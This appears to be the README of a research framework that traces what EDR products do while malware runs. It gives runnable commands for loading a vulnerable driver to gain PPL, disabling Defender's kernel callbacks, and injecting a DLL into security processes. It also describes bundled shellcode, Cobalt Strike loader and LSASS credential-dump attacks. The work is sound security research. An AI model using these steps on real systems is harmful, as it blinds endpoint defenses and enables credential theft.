EDR-Introspection
July 7, 2026 ยท View on GitHub
This project enables the Introspection into EDR products, i.e. what the EDR is doing at a given step for malware analysis. The enabling technologies of this projects are:
- ETW and ETW-TI tracing and filtering for relevant events (related to malware and EDR operations)
- hooking of the EDR's ntdll to inspect the EDRs actions
Results
- enourmous visibility into all relevant EDR actions, able to determine the active detection stage of the EDR at each point in time
- low level operations like file read with WdFilter.sys remain hidden (but all events before and after can hint to it when it happens)
- no insights into emulation engine and exact signature matching (but result, i.e. block / non-block can be seen right after this)
Attacks
see /attacks/
- Proc Inject: allocates mem in own process, writes raw bytes of
msfvenom -p windows/x64/exec CMD="calc.exe"and executes it - C2 Loader: allocates mem in own process, writes raw bytes of default CobaltStrike beacon and executes it
- Lsass Read: calls
MiniDumpWriteDumpfromdbghelp.dllon lsass.exe, like mimikatz.exe (LSASS' PPL must be stripped before)
Number of Events Unfiltered
| Attack | Data Source | Total | |||
|---|---|---|---|---|---|
| Antimalware | Threat Intel | Kernel | EDR Monitor | ||
| Proc Inject | 12973 | 183 | 4942 | 5712 | 23834 |
| C2 Loader | 4695 | 728 | 3375 | 10569 | 19386 |
| Lsass Read | 3287 | 2598 | 2204 | 7983 | 16096 |
Number of Events Filtered
| Attack | Data Source | Total | |||
|---|---|---|---|---|---|
| Antimalware | Threat Intel | Kernel | EDR Monitor | ||
| Proc Inject | 855 | 21 | 132 | 165 | 1197 |
| C2 Loader | 153 | 24 | 288 | 1283 | 1767 |
| Lsass Read | 1526 | 8 | 53 | 169 | 1780 |
Captured Events
color legend see Visibility Overview below
Events at Malware Store-Time
Events at Malware Startup-Time
Events at Malware Run-Time
How
- krabsETW to parse all relevant ETW providers
- EDRi.exe to
- filter the ETW events
- decrypt and run predefined attacks
- hook ntdll of EDR procs
- kdu.exe to run procs as PPL-AntiMalware
- EDRSandblast to disable kernel callbacks
Architecture
Hooking the EDR
needs PPL (see KDU.exe) and kernel callbacks of WdFilter.sys removed (see EDRSandblast.exe -toggle_callback)
Tests
| Test | Description | Access Rights default | Access Rights patched | PPL | Callbacks | Result |
|---|---|---|---|---|---|---|
| 0 | OpenProcess(MsMpEng, PROCESS_ALL_ACCESS) without KDU | error, no access | nA | nA | enabled | InjectLoader cannot open MsMpEng from usermode |
| 1 | OpenProcess(MsMpEng, PROCESS_ALL_ACCESS) with KDU | 0x1FF74D | no | 0 | enabled | InjectLoader cannot AllocVM |
| 2 | OpenProcess(MsMpEng, PROCESS_ALL_ACCESS) + and patch proc access | 0x1FF74D | 0x1FFFFF | 0 | enabled | InjectLoader cannot CreateRemoteThread |
| 2 | OpenProcess(MsMpEng, PROCESS_ALL_ACCESS) ++ patch thread access | 0x1FF74D | 0x1FFFFF | 0 | enabled | InjectLoader can hijack thread to load dll |
| 3 | OpenProcess(MsMpEng, PROCESS_ALL_ACCESS) ++ PPL | 0x1FF74D | 0x1FFFFF | PPL-AM | enabled | InjectLoader cannot CreateRemoteThread |
| 3 | OpenProcess(MsMpEng, PROCESS_ALL_ACCESS) ++ PPL-WinTcb | 0x1FF74D | 0x1FFFFF | PPL-WinTcb | enabled | InjectLoader cannot CreateRemoteThread |
| 4 | OpenProcess(MsMpEng, PROCESS_ALL_ACCESS) + EDRSandblast | 0x1FFFFF | not needed | 0 | disabled | InjectLoader reflectively load dll |
Example
Visibility Overview
How To
Run the Framework
Depends on the EDR, harderning, etc. Generally, loading of vulnerable signed drivers and memory integrity (both in Device Security > Core Isolation) must be disabled for KDU and EDRSandblast to work.
Without EDRSandblast (without disabling kernel callbacks) the hooks cannot be injected. Without KDU (without PPL) no ETW-TI can be consumed and no hooks can be injected.
It is recomended to make an exclusion for the EDR-Introspection folder, and then clone the repo to this folder!
# print help
.\x64\Release\EDRi.exe -h
# run simplest attack: no ETW-TI, no hooking, minimal traces, run attack as child proc, no debug
.\x64\Release\EDRi.exe --edr-profile MDE --attack ProcInject_standard -r
# all visibility: ETW-TI, hooking ntdll, all traces, debug
.\helpers\KDU\kdu.exe -pse "$(pwd)\x64\Release\EDRi.exe --edr-profile MDE --attack ProcInject_deconditioning -t -d" -prv 54
# alternative: first just hook, then do attacks (the hooks persist until restart)
.\helpers\KDU\kdu.exe -pse "$(pwd)\x64\Release\EDRi.exe --just-hook" -prv 54
.\helpers\KDU\kdu.exe -pse "$(pwd)\x64\Release\EDRi.exe --edr-profile MDE --attack ProcInject_deconditioning -t -d" -prv 54
Create own attack
- Copy folder
.\attacks\ProcInjectto.\attacks\YourAttack - rename all
.\attacks\YourAttack\ProcInject.vcxproj*to.\attacks\YourAttack\YourAttack.vcxproj* - rename both references in
.\attacks\YourAttack\YourAttack.vcxprojfromProcInjecttoYourAttack - rename both references in
.\attacks\YourAttack\build-features.batfromProcInject.vcxprojtoYourAttack.vcxprojand bothProcInject-%%C.exetoYourAttack-%%C.exe - build YourAttack with all features:
.\attacks\YourAttack\build-features.bat - the created (encrypted) exes should now be visible in the EDRi under available attacks
# print just the attacks
.\x64\Release\EDRi.exe --edr-profile MDE --attack
Requirements
- Windows 10 / 11 (others not tested)
- ability to load vulnerable drivers (when testing with ETW-TI or ntdll hooking)
- excluding the
EDR-Introspection/folder from your EDR
Misc Tools
To play around or test stuff, helper exes are provided for the following actions. All tools below must be run as Administrator.
Start a Proc as PPL-AntiMalware
Normally EDR processes run as PPL-AntiMalware. The kernel only allows opening of these processes via OpenProcess("edr.exe") from other PPL-AntiMalware procs (or higher).
To run any process as PPL-AntiMalware:
.\helpers\KDU\kdu.exe -pse "powershell.exe" -prv 54
Hint: When running a subprocess from these powershell procs, the subprocesses have no PPL flag anymore. If needed, run these subprocesses directly with kdu.exe, not via powershell.exe. Example for opening an EDR proc and reading the loaded DLLs:
.\helpers\KDU\kdu.exe -pse "$(pwd)\x64\Release\ReadPEB.exe $((Get-Process MsMpEng).Id)" -prv 54
# [*] Reading PEB from process pid=3292
# [*] Got PBI.PebBaseAddress = 0x0000003EEDA3F000
# [*] Got remote PEB.LDR = 0x00007FFBA1192920
# [*] Got remote remoteHead = 0x00007FFBA1192940
# [+] Found entry: base=0x00007FF7AAE50000, size=0x0000000000043000, ldr=0x0000020C7B1056F0, name=C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25090.3009-0\MsMpEng.exe
# [+] Found entry: base=0x00007FFBA0FC0000, size=0x0000000000268000, ldr=0x0000020C7B105540, name=C:\WINDOWS\SYSTEM32\ntdll.dll
# [+] Found entry: base=0x00007FFB9FD20000, size=0x00000000000C9000, ldr=0x0000020C7B105D20, name=C:\WINDOWS\SYSTEM32\KERNEL32.DLL
# [+] Found entry: base=0x00007FFB9E6B0000, size=0x00000000003F8000, ldr=0x0000020C7B1064A0, name=C:\WINDOWS\SYSTEM32\KERNELBASE.dll
# ...
Disabling kernel callbacks
EDR products usually downgrad access to their processes, meaning even after a successful OpenProcess("edr.exe") via a PPL-AntiMalware process, the final GrantedAccess is downgraded.
MDE example:
.\helpers\KDU\kdu.exe -pse "$(pwd)\x64\Release\InjectLoader.exe $(pwd)\x64\Release\EDRReflectiveHooker.dll $((Get-Process MsMpEng).Id) R" -prv 54
# OpenProcess(MsMpEng) succeeds
# VirtualAlloc fails:
# 0x1ff7d4 -> PROCESS_SET_SESSIONID | PROCESS_VM_READ | PROCESS_DUP_HANDLE | PROCESS_CREATE_PROCESS | PROCESS_SET_QUOTA | PROCESS_SET_INFORMATION | PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_SET_LIMITED_INFORMATION, not including: PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_SUSPEND_RESUME
Cortex EDR example:
.\helpers\KDU\kdu.exe -pse "$(pwd)\x64\Release\InjectLoader.exe $(pwd)\x64\Release\EDRReflectiveHooker.dll $((Get-Process cyserver).Id) R" -prv 54
# OpenProcess(cyserver) succeeds
# VirtualAlloc fails:
# 0x101400 -> PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION, not including: PROCESS_SET_SESSIONID | PROCESS_VM_READ | PROCESS_DUP_HANDLE | PROCESS_CREATE_PROCESS | PROCESS_SET_QUOTA | PROCESS_SET_INFORMATION | PROCESS_SET_LIMITED_INFORMATION | PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_SUSPEND_RESUME
Therefore the callbacks must be removed, this can be done with (my fork of) EDRSandblast:
.\x64\Release\tools\EDRSandblast.exe toggle_callbacks 0e1 --kernelmode -i
# ...
# [+] [ObjectCallblacks] Callback at FFFFBB034F3F8E00 for handle creations & duplications:
# [+] [ObjectCallblacks] Status: Enabled
# [+] [ObjectCallblacks] Preoperation at 0xfffff8053aa2e540 [WdFilter.sys + 0x2e540]
# [+] [ObjectCallblacks] Callback belongs to an EDR and is enabled!
# ...
# [+] [ObjectCallblacks] Disabling WdFilter.sys callback at 0xFFFFBB034F3F8E00 ...
# [+] Press ENTER to enable callbacks again:
Ntdll hooking of any process
Now the same command from above works when the relevant callbacks got disabled:
.\helpers\KDU\kdu.exe -pse "$(pwd)\x64\Release\InjectLoader.exe $(pwd)\x64\Release\EDRReflectiveHooker.dll $((Get-Process MsMpEng).Id) R" -prv 54
# [*] InjectLoader: Attempting to inject DLL 'C:\Users\hacker\source\repos\EDR-Introspection\x64\Release\EDRReflectiveHooker.dll' into PID=3292 using Reflective injection method.
# [+] Hooker: GrantedAccess to pid 3292: 0x1fffff -> full access
Reading custom ETW events
The EDRReflectiveHooker.dll emits basic ETW events to track the actions of the EDR:
.\x64\Release\ETWDump.exe Hooks
Example attacks
\attacks\ contains some (encrypted) attacks, which also emit basic ETW events to track the attacks actions.
To decrypt and use the attacks:
.\x64\Release\EDRi.exe -c "$(pwd)\x64\Release\attacks\attackX.exe.enc"
This drops an attackX.exe into \x64\Release\attacks\.
Terminating a process
When you just want to terminate a process because it's buggy, something broke, etc., use this:
.\helpers\KDU\kdu.exe -pse "$(pwd)\x64\Release\ProcTerminator.exe <pid>" -prv 54
Hint: If it's an EDR proc, you might also want to disable kernel callbacks to get full access to the proc, see above.